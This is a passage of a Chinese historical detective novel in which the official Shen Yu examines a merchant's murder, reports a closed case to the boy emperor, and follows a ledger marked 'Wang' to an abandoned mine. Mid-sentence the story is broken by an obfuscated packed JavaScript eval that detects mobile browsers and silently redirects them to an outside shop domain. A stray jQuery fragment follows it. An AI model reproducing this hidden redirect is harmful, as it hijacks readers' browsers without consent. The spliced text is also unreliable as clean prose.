“查身份。”沈聿头也不抬地吩咐身边的侍卫。
不多时,侍卫回来禀报:“大人,已经确认死者身份。死者是城南做货运的货商,平日往来周边州县运送货物,他待人和善,邻里说没听说过他与人结下过什么死仇。”
沈聿目光扫过四周地面,仔细分辨泥土上深浅不一的脚印。
“不是劫财,”他低声自语,“身上银两分文未动,刀口干脆利落,凶手目标明确就是冲着他来的。”
他起身,缓步绕着尸体走动一圈,目光留意周边草丛有没有遗留的线索。
“分出两个人,往四周扩大范围搜查,寻找凶器,还有凶手离开的痕迹。其余人,继续仔细盘问附近村民,昨夜有没有听见异响、看见陌生路人经过。”
差役领命四散开来,分头探查。
沈聿独自站在荒坡之上,望向远处连绵的树林。
柳氏狱中之死还留有诸多谜团,王御史夫人的证词也真假难辨,城南又凭空冒出一桩货商被杀案,但是两个案子似乎暂时看不出关联。
风掠过这片荒草地,寒意渐生。沈聿眉头紧锁,心底暗自思索,这只是一桩独立的仇杀?还是什么其他事情正在发酵?
沈聿的思绪被一声呼喊打断。
"大人!这边有发现!"
一名侍卫蹲在数丈外的乱草丛中,小心翼翼拨开叠在一起的野草,露出半掩在泥土里的一件物件。
沈聿大步走过去,目光落定。草丛里横躺着一把短刀,刀身沾满了干涸发黑的暗红血迹,刀刃上还挂着几缕草木碎屑,显然是被人仓促丢弃在此。
侍卫正要伸手去拾,但被沈聿抬手拦住。
"不要碰,"他沉声道,"记下丢弃的位置,叫画师来拓印刀身纹路,刀尖朝向这些都要原样画下来。"
他俯身细细端详那把短刀,刀身窄而薄,刀锋弧度圆润,是市井间再寻常不过的防身短刃,不是常年使刀之人惯用的家伙。
沈聿眉心微微一动,起身走回尸体旁,重新比照死者颈间那道创口。
创口深阔,边缘利落,几乎没入喉骨,可见行凶之人出手极重,一刀毙命。这样的力道,绝不是一把轻薄短刃所能留下。
他眼底沉色更浓了。
刀是假的。
或者说,这把刀,是被人故意扔在这里的。真正杀死货商的凶器,根本不在此处。凶手特意留下一把沾血的刀,是要把查案之人的目光引向劫杀。可死者身上钱财分文未动,伤口与刀刃又完全不吻合。这处破绽,反而比什么都不留更扎眼。
"大人,还有一处蹊跷。"另一名差役快步走来禀报,"小的方才查看死者鞋底,发现鞋底糊着大片暗红色的东西,不像是血迹,倒像是矿场特有的红泥。"
沈聿眸光微沉,蹲身查看。死者鞋底的暗红污渍厚厚一层,颗粒粗糙,只有常年出入城郊私矿才会沾上这种土。
指缝攥着的深蓝锦线,鞋底的矿场红泥,一把刻意遗留的假凶器。三样物件摆在眼前,看似毫无关联,却像是凶手刻意留下的哑谜。
沈聿直起身,望向荒坡尽头的方向,沉声吩咐:"去查,城中哪些人近期和城郊私矿有往来。彻查死者生前最后几日跑过的货运线路,他替谁运送过货物,所有往来账目,全部拿来。"
差役领命四散而去。
风声卷过荒草,呜呜作响。沈聿立在尸身旁,盯着那把假短刀,心底生出疑惑。
若是寻常仇杀,何须费这般功夫布置假象。
三日查案期限虽然未到,但是沈聿必须得把调查结果进宫告诉皇上,不能影响到新案子的调查,另一方面还涉及到王御史,也得皇上定夺。
沈聿整理好全部卷宗证词,身着朝服,踏入金銮殿复旨。
殿上少年帝王端坐龙椅,眉眼清明通透,不见半分孩童稚气。
满殿寂静无声。
小皇帝抬眼,声音清亮平稳:“沈聿,三日限期还未到,莫非柳氏一案你已经查清楚了?”
沈聿躬身垂首,字字清晰回禀:“回陛下,案情已彻查清楚,行凶者乃是李捕头之妻。但受人胁迫,才深夜入狱刺杀柳氏。另外胁迫之人也以查清,正是礼部王御史的夫人。她手握李捕头妻子旧日的把柄,威逼其替自己行凶,事成之后还让她包揽所有罪责顶罪。”
沈聿短短数语,将整桩案子的前因后果和罪责,说得明明白白。
殿内一片死寂。
站在一旁的薛骇眸光微沉,没有说话,目光看向御座上的小皇帝,静待圣裁。
真相既出,必然要追责御史府。
片刻之后,小皇帝缓缓开口,语气平静:
“朕已知晓全部来龙去脉。李捕头之妻行凶杀人,按律定罪,李捕头徇私包庇,依规惩处。至于王氏,此案到此为止,不必再往下深究,卷宗封存,就此了结。”
话音落下,薛骇立刻上前一步,躬身拱手,语气恭顺:“陛下英明,顾全大局,权衡利弊,实乃社稷之福啊!”
说完,他侧过头,目光落在沈聿身上,脸上浮起一抹似笑非笑的神色。
“沈大人,说起来,倒是要向你道一声歉。先前我还以为你年纪尚轻,资历浅薄,难当刑狱大夫之任,怕你办不好这桩大案。如今看来,案情倒是被你查得清清楚楚。”
薛骇慢慢走向沈聿,看样子是想拥抱沈聿道歉,可是他凑到沈聿耳边,突然话锋一转,笑意淡去,字字带着讥讽轻声说道:
“可查得清真相又能如何?真相摆在眼前,依旧奈何不得幕后之人,到头来不过是查清了一桩死案,却动不了朝堂半分。”
沈聿垂首而立,神色没有半分波澜,不卑不亢:“臣遵陛下旨意,此案就此封存。”
小皇帝淡淡瞥了薛骇一眼,没有斥责,只对沈聿道:“退下吧。”
“臣遵旨。”
沈聿躬身告退,转身走出大殿。
踏出皇宫,日光洒在宫道之上,柳氏一案,虽真相大白,却也只能就此落幕。
两日之后,侍卫带
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17946050|214067||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
回了查探结果。
死者名叫周满,是专跑城郊的货商。死前最后一趟活,是替一位主顾运送一批石料,去往城郊废弃的旧矿坑,主顾不肯露名,只托中间人传话,给的酬劳十分丰厚。
可诡异的是,那批石料送到矿坑之后,并没有人接收。周满只能当夜便折返回城,不想却半路遇害。
更奇怪的一点:周满的家人说,周满近半个月,时常夜半出门,神情惶惶不安,嘴里反复念叨,说自己撞见了不该看见的事,怕要惹来杀身之祸,却不肯细说究竟是什么事。
沈聿带人亲自前往那处废弃旧矿坑。
矿坑早已荒废,碎石遍地,坑口被藤蔓半掩,众人在矿坑深处,找到了一处看着像是被人临时挖掘出来的土坑,土坑之中埋着一堆破碎的青石残块。
石块表面,还隐隐刻着模糊的印记。
侍卫低声禀报:"大人,我们打听得知,这处旧矿几年前就因为矿道坍塌被封禁了,可最近夜里,总有人偷偷来这里动工。"
沈聿蹲下身,指尖拂过石块上的刻痕。
刻痕平整,看起来是一笔一划形成的。
这些不是采石留下的纹路,是人为凿刻的暗号。
就在这时,一名负责盘查的侍卫匆匆赶来,神色凝重:"大人!出大事了!方才城中报来,周满的中间人,也就是对接那笔货运的人,昨夜在家中离奇暴毙,死状和周满一模一样,脖颈一刀致命。家中还被人伪造了劫财的假象,钱财分文未少。"
沈聿心头一凛。
连环灭口。
两个人共同的特点就是都知道这个废弃是矿坑。
两个人接连死去,那就是说明知道旧矿坑秘密的人,正在被逐个清除。
"那中间人家中可有留下什么?"
"家中书房被翻得凌乱,但是有一页账本,被人藏在了墙缝里。账本残缺不全,只留下几行字迹。"差役递上一卷残破纸页。
纸上字迹潦草,但是可以明显看出是银钱往来。
几笔账目,都标注着“旧矿”二字,一笔数额巨大的银钱往来末尾,只草草落了一个王字。
沈聿指尖抚过纸面,指腹碾过那一个孤零零的王字,眸色沉沉。
这么巧?姓王?
柳氏一案,朝堂之下已经明令到此为止,可这桩连环命案,却又将线索重新牵到了王家头上,只是沈聿不能确定这个“王”家是否和王御史有关。
“查。”沈聿把残页收拢,交到身旁侍卫手中,“即刻去查,这旧矿坑究竟在做什么营生,所有和王家有牵扯、接触过那处废矿的人,全部登记在册,一个都不许漏掉。”
侍卫应声接下纸页,正要退下。
“还有,”沈聿沉声补充,“去问清楚,周满与这名中间人,生前除了这批石料货运,还经手过哪些货物,接触过哪些主顾,但凡有一点异常,都要报上来。”
侍卫领命退去。
沈聿立在原地,指尖捏着那页残破账本,心绪翻涌。